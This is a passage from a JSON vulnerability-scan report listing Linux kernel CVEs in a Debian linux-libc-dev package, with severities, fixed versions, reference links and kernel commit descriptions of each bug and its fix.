"https://git.kernel.org/linus/6efbc52237facda35d2d874fe1765bb4839275d8%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89481.mbox", "https://git.kernel.org/stable/c/377aa04d7b3e73ffef6364818def188da8d6f025", "https://git.kernel.org/stable/c/3a0b05145053a5fad1a2ddb4e4d87b07385e63e5", "https://git.kernel.org/stable/c/3b3d27670c0c890ba7cf1bc3614cab61bde6d25c", "https://git.kernel.org/stable/c/49a4dcf57608ebf6432dbcb203ed25e7ed581445", "https://git.kernel.org/stable/c/6efbc52237facda35d2d874fe1765bb4839275d8", "https://git.kernel.org/stable/c/a4c3c7310156493797c920b10d8648c07aa05403", "https://git.kernel.org/stable/c/bc4013c7cce58d46f792c8c87bc8c8318a70190e", "https://git.kernel.org/stable/c/effe898669c5f69ed519d6339be01ee9cd91d1a4", "https://linux.oracle.com/cve/CVE-2026-89481.html", "https://linux.oracle.com/errata/ELSA-2026-76739.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89481", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89481" ], "PublishedDate": "2026-09-11T20:19:29.6Z", "LastModifiedDate": "2026-10-30T13:20:17.727Z" }, { "VulnerabilityID": "CVE-2026-89487", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89487", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1aa321f630cf99acfa20aee63ca4cb7b9120588b1847140c88a9de4a90dc38f5", "Title": "kernel: openvswitch: only skb_tx_error() a packet we are about to drop", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nopenvswitch: only skb_tx_error() a packet we are about to drop\n\nqueue_userspace_packet() borrows the packet skb -- it only copies it into\na private netlink message (user_skb) and does not own it; on return\ndo_execute_actions() keeps forwarding it through the flow's remaining\nactions. Its error path nevertheless calls skb_tx_error(skb), which via\nskb_zcopy_clear() does skb_shinfo(skb)-\u003eflags \u0026= ~SKBFL_ALL_ZEROCOPY,\nstripping SKBFL_SHARED_FRAG from that live skb (skb_tx_error()'s kerneldoc\nsays \"skb must be freed afterwards\").\n\nFor a MSG_ZEROCOPY skb carrying page-cache frags, SKBFL_SHARED_FRAG is\nwhat makes esp_input() skb_cow_data() before in-place AEAD; once it is\nstripped a later local ESP-in-UDP delivery decrypts in place over pages\nthe sender does not own -- an unprivileged page-cache write (the\n\"Fragnesia\" primitive).\ndo_execute_actions() ignores output_userspace()'s return value, so any\naction after a failed USERSPACE upcall inherits the stripped skb.\n\nMove the skb_tx_error() to the flow-miss drop path - the \"default\"\nbranch of ovs_dp_process_packet()'s switch(error), before kfree_skb().\n\nThe call has been here since commit 36d5fe6a0007 (\"core, nfqueue,\nopenvswitch: Orphan frags in skb_zerocopy and handle errors\") but was\nharmless until esp_input() began relying on SKBFL_SHARED_FRAG to gate\nin-place decrypt; only then did stripping it on a still-forwarded skb\nbecome a page-cache write primitive.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-89487", "https://git.kernel.org/linus/0dbc2398fca3bb33eda963849f865ddb1b3aa05e%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89487.mbox", "https://git.kernel.org/stable/c/0dbc2398fca3bb33eda963849f865ddb1b3aa05e", "https://git.kernel.org/stable/c/4477222e2916a18e273edc139c955ade6bbb7a69", "https://git.kernel.org/stable/c/48db11e115d1b232edc5591604adc6eda95cd545", "https://git.kernel.org/stable/c/4d5c460ef8754be1d43b16dbf02695b008b207d6", "https://git.kernel.org/stable/c/5d85eef222cfd28e73deed7402c100229e8b9e6e", "https://git.kernel.org/stable/c/5de5d554141a15b3f1f5c978fd9f7f4fd6d0600a", "https://git.kernel.org/stable/c/6767d70cf46f65807a6a4c4406a518e6c12e36ae", "https://git.kernel.org/stable/c/e41a59fc056f63a7a1f42788913c53cc48d744aa", "https://linux.oracle.com/cve/CVE-2026-89487.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89487", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89487" ], "PublishedDate": "2026-09-11T20:19:30.413Z", "LastModifiedDate": "2026-10-19T09:17:42.307Z" }, { "VulnerabilityID": "CVE-2026-89488", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89488", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:58390e56f77dac21ed0035da59d92432f2d13e186c7622f94858b15dfe4cc9e4", "Title": "kernel: openvswitch: Fix CT limit teardown use-after-free", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nopenvswitch: Fix CT limit teardown use-after-free\n\nPacket processing uses CT limit state under RCU, while netns teardown\nfrees that state under ovs_mutex. The CT limit pointer was neither removed\nfrom readers nor protected by a grace period, allowing packet processing to\ndereference the freed state.\n\nAn unprivileged user can trigger this bug from a user and network\nnamespace, causing a slab-use-after-free in ovs_ct_execute() when the\nnetns is torn down.\n\nPublish the CT limit pointer through RCU, remove it before teardown, and\nwait for readers before freeing its contents. Keep ovs_mutex around\nindividual CT limit updates, and use the RCU read-side lock while GET\ntraverses the RCU-protected limit lists.\n\nNetns teardown detaches the RCU-protected CT limit state in the pernet\n.pre_exit callback while holding ovs_mutex. The pernet core guarantees an\nRCU grace period between the .pre_exit and .exit callbacks, so the .exit\ncallback completes the teardown without adding any extra synchronization.\n\nThe netlink command handlers do not need NULL checks because the userspace\nnetlink socket holds an active reference to its network namespace while a\nrequest is processed. The per-netns exit path therefore cannot run\nconcurrently with SET, DEL, or GET for that socket's namespace.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:95370", "https://access.redhat.com/security/cve/CVE-2026-89488", "https://bugzilla.redhat.com/2507721", "https://bugzilla.redhat.com/2513314", "https://bugzilla.redhat.com/2515351", "https://bugzilla.redhat.com/2515353", "https://bugzilla.redhat.com/2516278", "https://bugzilla.redhat.com/2516412", "https://bugzilla.redhat.com/2516674", "https://bugzilla.redhat.com/2521384", "https://bugzilla.redhat.com/2521419", "https://bugzilla.redhat.com/2524422", "https://bugzilla.redhat.com/2524442", "https://bugzilla.redhat.com/2524458", "https://bugzilla.redhat.com/2524475", "https://bugzilla.redhat.com/2532290", "https://bugzilla.redhat.com/2532407", "https://bugzilla.redhat.com/2552209", "https://bugzilla.redhat.com/show_bug.cgi?id=2507721", "https://bugzilla.redhat.com/show_bug.cgi?id=2513314", "https://bugzilla.redhat.com/show_bug.cgi?id=2515351", "https://bugzilla.redhat.com/show_bug.cgi?id=2515353", "https://bugzilla.redhat.com/show_bug.cgi?id=2516278", "https://bugzilla.redhat.com/show_bug.cgi?id=2516412", "https://bugzilla.redhat.com/show_bug.cgi?id=2516674", "https://bugzilla.redhat.com/show_bug.cgi?id=2521384", "https://bugzilla.redhat.com/show_bug.cgi?id=2521419", "https://bugzilla.redhat.com/show_bug.cgi?id=2524422", "https://bugzilla.redhat.com/show_bug.cgi?id=2524442", "https://bugzilla.redhat.com/show_bug.cgi?id=2524458", "https://bugzilla.redhat.com/show_bug.cgi?id=2524475", "https://bugzilla.redhat.com/show_bug.cgi?id=2532290", "https://bugzilla.redhat.com/show_bug.cgi?id=2532407", "https://bugzilla.redhat.com/show_bug.cgi?id=2552209", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64541", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68162", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68451", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68452", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72080", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72221", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72222", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74588", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74752", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80553", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80571", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80584", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89479", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89488", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98403", "https://errata.almalinux.org/9/ALSA-2026-95370.html", "https://errata.rockylinux.org/RLSA-2026:95370", "https://git.kernel.org/linus/403f96c32c9e24600093d7d0c61c17daeedca957%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89488.mbox", "https://git.kernel.org/stable/c/239f26589a6926db28c436e14f28517581ef1385", "https://git.kernel.org/stable/c/3b41d907400cc1dd1da9555b81dca422b1f44433", "https://git.kernel.org/stable/c/3b9369881b403f4cdbb11fa998554382bdcc3d8c", "https://git.kernel.org/stable/c/403f96c32c9e24600093d7d0c61c17daeedca957", "https://git.kernel.org/stable/c/680f20d5937fa4d1367c59fe83091b78041015f5", "https://git.kernel.org/stable/c/6a6d36fadb8537d9b79e72c9fa51885ec0c33e10", "https://git.kernel.org/stable/c/bf4aaa7ea2579e24ed7de2e20578a875bebca011", "https://git.kernel.org/stable/c/e15407c3a8a005324f633cd46cd8fb58042c1157", "https://linux.oracle.com/cve/CVE-2026-89488.html", "https://linux.oracle.com/errata/ELSA-2026-95370.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89488", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89488" ], "PublishedDate": "2026-09-11T20:19:30.557Z", "LastModifiedDate": "2026-10-19T09:17:42.48Z" }, { "VulnerabilityID": "CVE-2026-89508", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89508", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:5e3ac8c728ef048b488a4075a4f0261e99fab804d1f1ab66d314f3e0c3872f36", "Title": "kernel: RDMA/ucma: Lock the handler in ucma_set_ib_path()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/ucma: Lock the handler in ucma_set_ib_path()\n\nucma_set_ib_path() calls ucma_event_handler() straight from the write()\npath, without the handler lock that keeps ctx-\u003efile stable while a uevent\nis queued. The handler re-reads ctx-\u003efile for every dereference:\n\n\tmutex_lock(\u0026ctx-\u003efile-\u003emut);\t\t\t/* file A */\n\tlist_add_tail(\u0026uevent-\u003elist, \u0026ctx-\u003efile-\u003eevent_list);\t/* file B */\n\tmutex_unlock(\u0026ctx-\u003efile-\u003emut);\t\t\t/* file B */\n\twake_up_interruptible(\u0026ctx-\u003efile-\u003epoll_wait);\t/* file B */\n\nA concurrent ucma_migrate_id() reassigns ctx-\u003efile while the SET_OPTION\ncaller sleeps in mutex_lock(), so the list_add_tail() lands on file B's\nevent_list while only file A's mutex is held, racing every other user of\nthat list:\n\n BUG: KASAN: slab-use-after-free in __list_add_valid_or_report+0x1aa/0x1c0\n Read of size 8 at addr ffff888153c6a418 by task poc_corr/486\n Call Trace:\n __list_add_valid_or_report+0x1aa/0x1c0\n ucma_event_handler+0x1be/0xc00\n ucma_set_ib_path+0x45e/0x710\n ucma_set_option+0x32e/0x590\n ucma_write+0x1f9/0x330\n Allocated by task 505:\n ucma_write_cm_event+0x1a1/0x660\n Freed by task 505:\n kfree+0x1da/0x4c0\n ucma_get_event+0x5d5/0x7e0\n\nThe freed object is a ucma_event that another thread dequeued from file B's\nlist under file B's mutex. File A's mut is left held on top of that,\nwedging its next writer in uninterruptible sleep.\n\nThis path needs a bound and address-resolved cm_id, so it requires an RDMA\ndevice to be present.\n\nTake the handler lock around the call.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-89508", "https://git.kernel.org/linus/ecbe7d36dc2de07e5dfbb4a8ff5b315ab43de820%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89508.mbox", "https://git.kernel.org/stable/c/28ac2dd416482d1c763c4af5d61af465b387fb50", "https://git.kernel.org/stable/c/3dd07b369371a2f29e1c3caf1ade85bb92b4c551", "https://git.kernel.org/stable/c/43a7d8ae9f645dc00235cfa4bf57673c20b769f8", "https://git.kernel.org/stable/c/71dc206f2e2a645dac78879768762451aa1799f7", "https://git.kernel.org/stable/c/764586f8f6180084c5a7d622120f526acc6ce0c9", "https://git.kernel.org/stable/c/a7f8d26e653ee43b0b572984b8ec544d3b3b6f3c", "https://git.kernel.org/stable/c/b2da0d488a1c72956ebb0a57015ee8ee6a2f7748", "https://git.kernel.org/stable/c/ecbe7d36dc2de07e5dfbb4a8ff5b315ab43de820", "https://linux.oracle.com/cve/CVE-2026-89508.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89508", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89508" ], "PublishedDate": "2026-09-11T20:19:33.143Z", "LastModifiedDate": "2026-10-19T09:17:45.06Z" }, { "VulnerabilityID": "CVE-2026-89524", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89524", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:073a06667e714e2edbd287f1010ad306ce1d7823e1333470c079b2f0fef4eb2c", "Title": "kernel: wifi: ath6kl: clamp assoc request/response lengths before subtracting IE offsets", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: ath6kl: clamp assoc request/response lengths before subtracting IE offsets\n\nath6kl_cfg80211_connect_event() subtracts fixed IE offsets from\nassoc_req_len (-= 4) and assoc_resp_len (-= 6), both u8, with no lower\nbound. The aggregate check recently added to ath6kl_wmi_connect_event_rx()\nbounds the declared lengths from above (their sum must fit the received\nevent), but an assoc request/response shorter than its fixed offset still\nunderflows here: the u8 wraps to ~250, and cfg80211_connect_result() /\ncfg80211_roamed() then treat that wrapped value as the IE length and copy\nthat many bytes out of the small assoc_info buffer to user space via\nnl80211, disclosing adjacent slab memory.\n\nClamp both lengths to their offsets before subtracting.\n\nFound by 0sec (https://0sec.ai) using automated source analysis; the\nmissing lower bound is evident from source. Compile-tested.", "Severity": "HIGH", "VendorSeverity": { "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-89524", "https://git.kernel.org/linus/3bbd05723d15dd06f0560bcd94fbf9a91b5f5613%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89524.mbox", "https://git.kernel.org/stable/c/225587bdbf4b0eb5265a71ee4dc183561a1857fc", "https://git.kernel.org/stable/c/3bbd05723d15dd06f0560bcd94fbf9a91b5f5613", "https://git.kernel.org/stable/c/6deb4d7a0c3d91821b2a8d5239e3d9933d9217d9", "https://git.kernel.org/stable/c/8eb73016fb3968cf2db3987a92764563a3af773a", "https://git.kernel.org/stable/c/d337213a889705a69735079606d0b4c672b17605", "https://git.kernel.org/stable/c/e11d5ae96d5e52cb48fa27c6ad352d766d0322fb", "https://git.kernel.org/stable/c/e1330d719c047c4d8190a16be034b29fc601a815", "https://git.kernel.org/stable/c/e3619bed5da125713b29ac881dc66f5e06606f88", "https://linux.oracle.com/cve/CVE-2026-89524.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89524", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89524" ], "PublishedDate": "2026-09-11T20:19:35.137Z", "LastModifiedDate": "2026-10-19T09:17:46.873Z" }, { "VulnerabilityID": "CVE-2026-89526", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89526", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7216a86766b48e9546443eccd54046ba4f7b26e2d7f441b06b32c965f029adbf", "Title": "kernel: svcrdma: Validate Read chunk positions before reconstruction", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsvcrdma: Validate Read chunk positions before reconstruction\n\nThe RPC/RDMA Read chunk position field is supplied by the remote\nclient and stored verbatim in the parsed chunk list.\nxdr_count_read_segments() checks only 4-byte alignment; it never\ncompares the position against the received inline body length.\n\nIn the single-chunk path, svc_rdma_read_complete_one() splits the\nhead and tail kvecs at ch_position. A position past the inline\nbody underflows the tail length, exposing adjacent slab memory to\nthe upper XDR decoder.\n\nIn the multi-chunk path, svc_rdma_read_multiple_chunks() computes\ngap lengths between chunks as unsigned subtractions from\nch_position. Overlapping Read chunks cause these subtractions to\nunderflow. A final position past the inline body likewise\nunderflows the trailing gap length. svc_rdma_copy_inline_range()\nthen copies past the receive buffer into request pages that are\nreturned to the client through the Reply channel.\n\nBound inline-range copies in svc_rdma_copy_inline_range() against\nthe decoded inline RPC body saved in rc_saved_arg. Reject a\nsingle Read chunk positioned beyond that body, and reject\nmulti-chunk lists where accumulated read bytes exceed the next\nchunk's position. Apply the same position and overlap checks in\nthe call-chunk interleaving path.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "azure": 4, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:83156", "https://access.redhat.com/security/cve/CVE-2026-89526", "https://bugzilla.redhat.com/2486979", "https://bugzilla.redhat.com/2492286", "https://bugzilla.redhat.com/2502460", "https://bugzilla.redhat.com/2513234", "https://bugzilla.redhat.com/2513277", "https://bugzilla.redhat.com/2513293", "https://bugzilla.redhat.com/2513299", "https://bugzilla.redhat.com/2516526", "https://bugzilla.redhat.com/2516575", "https://bugzilla.redhat.com/2516606", "https://bugzilla.redhat.com/2521436", "https://bugzilla.redhat.com/2521498", "https://bugzilla.redhat.com/2532279", "https://bugzilla.redhat.com/2532309", "https://bugzilla.redhat.com/2535158", "https://bugzilla.redhat.com/2540182", "https://bugzilla.redhat.com/2540230", "https://bugzilla.redhat.com/show_bug.cgi?id=2486979", "https://bugzilla.redhat.com/show_bug.cgi?id=2492286", "https://bugzilla.redhat.com/show_bug.cgi?id=2502460", "https://bugzilla.redhat.com/show_bug.cgi?id=2513234", "https://bugzilla.redhat.com/show_bug.cgi?id=2513277", "https://bugzilla.redhat.com/show_bug.cgi?id=2513293", "https://bugzilla.redhat.com/show_bug.cgi?id=2513299", "https://bugzilla.redhat.com/show_bug.cgi?id=2516526", "https://bugzilla.redhat.com/show_bug.cgi?id=2516575", "https://bugzilla.redhat.com/show_bug.cgi?id=2516606", "https://bugzilla.redhat.com/show_bug.cgi?id=2521436", "https://bugzilla.redhat.com/show_bug.cgi?id=2521498", "https://bugzilla.redhat.com/show_bug.cgi?id=2532279", "https://bugzilla.redhat.com/show_bug.cgi?id=2532309", "https://bugzilla.redhat.com/show_bug.cgi?id=2532515", "https://bugzilla.redhat.com/show_bug.cgi?id=2535158", "https://bugzilla.redhat.com/show_bug.cgi?id=2540182", "https://bugzilla.redhat.com/show_bug.cgi?id=2540230", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64030", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68140", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68377", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68404", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68409", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72262", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72288", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72320", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74641", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74705", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80985", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-81003", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89526", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90036", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93207", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93228", "https://errata.almalinux.org/9/ALSA-2026-83156.html", "https://errata.rockylinux.org/RLSA-2026:83156", "https://git.kernel.org/linus/3779b7b9e7d1c8ba4738f9d327de3b0288cefe9b%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89526.mbox", "https://git.kernel.org/stable/c/3779b7b9e7d1c8ba4738f9d327de3b0288cefe9b", "https://git.kernel.org/stable/c/3861eeabaebe243050952b34063763527c44e1fe", "https://git.kernel.org/stable/c/577097455d084610fc31e91e6a61c5793b6f04ba", "https://git.kernel.org/stable/c/5ab3f6d882fe07ae5e61d0bcfeea00b9409155c2", "https://git.kernel.org/stable/c/6388f2ed36c10f59d926735b92c2b152d2c635e5", "https://git.kernel.org/stable/c/f84ec84d8d4bc65f9ae23372570349687f66fa39", "https://linux.oracle.com/cve/CVE-2026-89526.html", "https://linux.oracle.com/errata/ELSA-2026-83207.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89526", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89526" ], "PublishedDate": "2026-09-11T20:19:35.383Z", "LastModifiedDate": "2026-10-30T13:20:18.373Z" }, { "VulnerabilityID": "CVE-2026-89530", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89530", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:fb507b4b545945386b696e63a2cdbb7e1ff1fbccf8879d5f409dd7bb0bb6a15a", "Title": "kernel: svcrdma: Reject inline replies that overflow the pull-up buffer", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsvcrdma: Reject inline replies that overflow the pull-up buffer\n\nAn RPC-over-RDMA client can request a reply, such as an NFS READ\npayload, without providing a Write list or a Reply chunk to carry\nit. When such a reply needs more scatter/gather entries than the\ndevice's Send Queue supports, svc_rdma_pull_up_needed() selects\npull-up and svc_rdma_pull_up_reply_msg() linearizes the whole\nreply into sctxt-\u003esc_xprt_buf. That buffer is only sc_max_req_size\nbytes, while the reply on this path is bounded only by the client's\nrequest, so svc_rdma_xb_linearize() copies past the end of the\nbuffer and corrupts adjacent slab memory. The oversized length is\nthen stored in sc_sges[0].length and posted, so the device also\nreads beyond the mapped region.\n\nThe SGE-exhaustion branch is the only pull-up path that can exceed\nthe buffer: the threshold branch pulls up only replies smaller\nthan RPCRDMA_PULLUP_THRESH, and replies that fit the device's SGE\nbudget are sent directly without linearization. Make\nsvc_rdma_pull_up_needed() report -E2BIG when the reply it would\npull up cannot fit sc_max_req_size, and fail the request with\nERR_CHUNK as RFC 8166 Section 4.5.3 directs rather than dropping\nthe connection.\n\nThe helper no longer answers a simple yes/no question: it now\nreports pull-up, no pull-up, or -E2BIG for a reply too large to\nlinearize. Rename svc_rdma_pull_up_needed() to\nsvc_rdma_check_pull_up() so its name no longer implies a boolean\npredicate.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 4 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:77689", "https://access.redhat.com/security/cve/CVE-2026-89530", 